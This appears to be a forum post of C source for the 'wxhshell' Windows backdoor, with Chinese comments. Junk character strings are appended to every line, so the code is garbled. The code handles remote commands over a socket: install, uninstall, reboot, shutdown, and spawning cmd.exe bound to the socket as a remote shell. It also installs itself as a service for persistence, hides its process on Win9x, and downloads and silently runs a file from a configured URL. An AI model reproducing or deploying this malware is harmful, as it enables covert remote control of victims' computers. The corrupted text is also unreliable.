    switch(cmd[0]) { k gu[!hD1  
  -+=:+LhSMb  
  // 帮助 #H6g&)Z_  
  case '?': { j"IM,=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^_KD&%M6  
    break; %FyygTb;S  
  } !ObE{2Enf  
  // 安装 zYG,x*IH  
  case 'i': { "8muMa8Q%  
    if(Install()) ZutB_uW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #>:(#^Uu  
    else fEw=I7{Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y /:T(tk$  
    break; R,+/A8[j  
    } YZH#5]o8  
  // 卸载 `<}V !Lo  
  case 'r': { $?)3&\)R  
    if(Uninstall()) WTD49_px  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Z7pztk  
    else N~$Zeq=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~kYqGH  
    break; 2yQ}Lxr(  
    } y2#>c*  
  // 显示 wxhshell 所在路径 E!I  
  case 'p': { zzfn0g  
    char svExeFile[MAX_PATH]; 80$0zbw$  
    strcpy(svExeFile,"\n\r"); &6t3SZV  
      strcat(svExeFile,ExeFile); a}Fk x  
        send(wsh,svExeFile,strlen(svExeFile),0); uPFHlT  
    break; II-$WJy  
    } inBPT~y  
  // 重启 0Ox|^V  
  case 'b': { ]`@]<6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *F szGn<  
    if(Boot(REBOOT)) r6n5Jz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@{4.v^}!  
    else { wt}%2x} x  
    closesocket(wsh); 9PKoNd^e  
    ExitThread(0); H9~%#&fF  
    } m(Y.X=EZr  
    break; -jVaS w t  
    } TmYP_5g:  
  // 关机 Cfr<D3&,]  
  case 'd': { L-z ;:Ztk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \o B'  
    if(Boot(SHUTDOWN)) M 20Bc,VI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z9M.e.  
    else { "brRME3  
    closesocket(wsh); }. xrJ52Tz  
    ExitThread(0); B.YMP;7>  
    } B [+(r  
    break; Ns2,hQFc  
    } rv}mD  
  // 获取shell 6QII&Fg  
  case 's': { U=kx`j>  
    CmdShell(wsh); ~M ,{ _  
    closesocket(wsh); "]T$\PJun  
    ExitThread(0); \TbsoWX  
    break; +5HnZ?E\  
  } V#NG+U.B  
  // 退出 m Ztv G,  
  case 'x': { ou'~{-_xd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VT% KN`l  
    CloseIt(wsh); gMs+?SNHAh  
    break; i*S|qX7``  
    } CGC-"A/W  
  // 离开 pcy<2UV  
  case 'q': { 5{13 V*<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <&5m N  
    closesocket(wsh); yuHZ&e  
    WSACleanup(); X(k{-|9]  
    exit(1); KdT[*-  
    break; DH:GI1Yu>I  
        } GIm " )}W  
  } 1~2R^#rm  
  } jg [H}  
sdJ%S*)5G$  
  // 提示信息 (#!] fF"!x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dGW {l]N  
} SyK9Is{8  
  } %9C`  
9 Uha2o  
  return; S]&8St  
} #bT8QbJ(  
-AjH}A[!  
// shell模块句柄 p$Kj<:qiP  
int CmdShell(SOCKET sock) (j' {~FB  
{ ;gDMl57PQ.  
STARTUPINFO si; Wy<[(Pd   
ZeroMemory(&si,sizeof(si)); MpO RGd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~|r~NO 7[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B%tIwUE2  
PROCESS_INFORMATION ProcessInfo; Vb@ 4(Q  
char cmdline[]="cmd"; J I<3\=:+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FR:d^mL  
  return 0; 7}be>(  
} UJz#QkAio  
TE^7P0bh  
// 自身启动模式 HA6G)x  
int StartFromService(void) . yZm^&  
{ QsiJ%O Q  
typedef struct P+<BOG|m  
{ ^P`NMSw  
  DWORD ExitStatus; ,;_rIO"  
  DWORD PebBaseAddress; egm)a   
  DWORD AffinityMask; P|e`^Frxt  
  DWORD BasePriority; pDu{e>S|:  
  ULONG UniqueProcessId; *AZ?~ i^o  
  ULONG InheritedFromUniqueProcessId; v`JF\"}S  
}   PROCESS_BASIC_INFORMATION; 5Go0}'*%  
Q48+O?&  
PROCNTQSIP NtQueryInformationProcess; }e<'BIM E  
}N3V5cab  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3bC+Mco  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c=6ahX}d  
GCT@o!  
  HANDLE             hProcess; D+Cm<ZT~  
  PROCESS_BASIC_INFORMATION pbi; 5h0>!0  
R A:jzht  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !(Krf  
  if(NULL == hInst ) return 0; (;a B!(_  
[,=d7*b(l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _%Bz,C8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); No) m/17y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Sp:l;SGd  
WsR+Np@c  
  if (!NtQueryInformationProcess) return 0; 4qhWm"&CM  
C.~ j'5N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $>*Yhz `  
  if(!hProcess) return 0; nnNv0 ?>d(  
V!4a*,Pz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l&Z Sm  
f/}  
  CloseHandle(hProcess); @F>F#-2  
\m4T3fy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '-vE%U@<  
if(hProcess==NULL) return 0; DkgUvn/S  
9R p2W  
HMODULE hMod; )MZC>:  
char procName[255]; yGTziv!  
unsigned long cbNeeded; $r\"6e  
<},1Ncl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x4m 5JDC  
O:Va&Cyj*  
  CloseHandle(hProcess); kneuV8+(5  
q$[n`w-  
if(strstr(procName,"services")) return 1; // 以服务启动 ebC)H  
KOey8tB)1  
  return 0; // 注册表启动 ju|]Qlek  
} 6;o3sf@Tf  
%_MEfuL  
// 主模块 vJ"i.:Gf4  
int StartWxhshell(LPSTR lpCmdLine) !\-WEQrp\  
{ >"v9iT  
  SOCKET wsl; dC.bt|#Oz  
BOOL val=TRUE; a(;!O}3_)(  
  int port=0; {uU 2)5i2-  
  struct sockaddr_in door; -/ +#5.`1  
ACg;CTB b  
  if(wscfg.ws_autoins) Install(); pr tK:eGe2  
03=5Nof1  
port=atoi(lpCmdLine); A%u_&a}  
3J~0O2  
if(port<=0) port=wscfg.ws_port; F";.6%;AC  
=su]w2,Iy  
  WSADATA data; .oqIZ\iik  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,zhJY ?sk  
2N5`'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v4rW2F:X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :^i^0dC  
  door.sin_family = AF_INET; p[9s<lEh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |mhKIis U  
  door.sin_port = htons(port); eQUe >*  
+5!&E7bcd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \OQkZ.cU;  
closesocket(wsl); Apj;  
return 1; +bA%  
} .@#A|fgv  
6cz/n8Mg  
  if(listen(wsl,2) == INVALID_SOCKET) { _c`K+o"3  
closesocket(wsl); X^s2BW  
return 1; o(!@7Lqq  
} a~PK pw2%  
  Wxhshell(wsl); AiP!hw/V$  
  WSACleanup(); / vxm"CJR  
os4{0Mxu  
return 0; u5B:^.:p  
Ag9?C*  
} OGOND,/R?/  
[1_A8s){u  
// 以NT服务方式启动 V`kMCE;?l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -]srp;=i  
{ ;=4Xz\2  
DWORD   status = 0; XJ1=m   
  DWORD   specificError = 0xfffffff; LzML%J62  
CrC =A=e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dY(;]sxFr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qkcjr]#^$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; );FS7R  
  serviceStatus.dwWin32ExitCode     = 0; ]p7jhd=  
  serviceStatus.dwServiceSpecificExitCode = 0; r)^vO+3u  
  serviceStatus.dwCheckPoint       = 0; j8Cho5C  
  serviceStatus.dwWaitHint       = 0; 15U(={  
,ho3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c!#:E`  
  if (hServiceStatusHandle==0) return; 5T@aCC@$h  
?QZ"JX])  
status = GetLastError(); E&`Nh5JfC  
  if (status!=NO_ERROR) 1oiRWRe  
{ JH8}Ru%Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l{Dct\ #s  
    serviceStatus.dwCheckPoint       = 0; K2{aNv R)t  
    serviceStatus.dwWaitHint       = 0; k(t}^50^j  
    serviceStatus.dwWin32ExitCode     = status; iK5_u2]Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9QQyl\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?t](a:IX  
    return; g[H',)A)  
  } nKoiG*PI  
|~!U4D\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; as*4UT3  
  serviceStatus.dwCheckPoint       = 0; s{0aBeq  
  serviceStatus.dwWaitHint       = 0; 8NBT|N~N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zK|i='XSf  
} MUnEuhXTr  
;&V s4  
// 处理NT服务事件,比如:启动、停止 w[tmCn+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }e2VY  
{ vS\Nd1~?  
switch(fdwControl) SAY LG  
{ +{<#(}  
case SERVICE_CONTROL_STOP: ^D%FX!$  
  serviceStatus.dwWin32ExitCode = 0; ziPR>iz-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ",6M)3{|c  
  serviceStatus.dwCheckPoint   = 0; #>lG7Ns|4  
  serviceStatus.dwWaitHint     = 0; br-]fE.be  
  { AN!s{7V3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ae]sGU|?'  
  } kQ1w5mCh  
  return; ^9Qy/Er'  
case SERVICE_CONTROL_PAUSE: =X\^J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &>d:R_Q]  
  break; ApBWuXp|u  
case SERVICE_CONTROL_CONTINUE: F8-?dpf'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -Eu6U`"(  
  break; ~5FW [_  
case SERVICE_CONTROL_INTERROGATE: #Cpd9|  
  break; @+3kb.P%7  
}; .p0Clr!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HY)-/  
} v ~QHMg  
HK`I\,K  
// 标准应用程序主函数 ZKHG!`X0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pRkP~ZISU  
{ )nL`H^  
fU=B4V4@  
// 获取操作系统版本 Mmpfto%i  
OsIsNt=GetOsVer(); _XCOSomL`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); > pI;%'  
hxQqa 0B  
  // 从命令行安装 3k#~yaoI  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]vwW]O7  
!*R qCS,  
  // 下载执行文件 DL$@?.?I  
if(wscfg.ws_downexe) { -py@DzK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FEVEp  
  WinExec(wscfg.ws_filenam,SW_HIDE); PDs@?nz,  
} $Y69@s%f  
(L^]Lk x)  
if(!OsIsNt) { jv&*uYm  
// 如果时win9x,隐藏进程并且设置为注册表启动 9$2/MT't  
HideProc(); 0 a80 LAK  
StartWxhshell(lpCmdLine); th;{V%:LW  
} +$g}4  
else "[y-+)WTG  
  if(StartFromService()) ^fZ&QK  
  // 以服务方式启动 (sh)TBb5  
  StartServiceCtrlDispatcher(DispatchTable); ?@E!u|]K  
else E? _Z`*h  
  // 普通方式启动 PLK3v4kVM!  
  StartWxhshell(lpCmdLine); ZYC<Wb)I  
1t)il^p4[;  
return 0; `@nl  
}
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只看该作者 1 发表于: 2006-10-10
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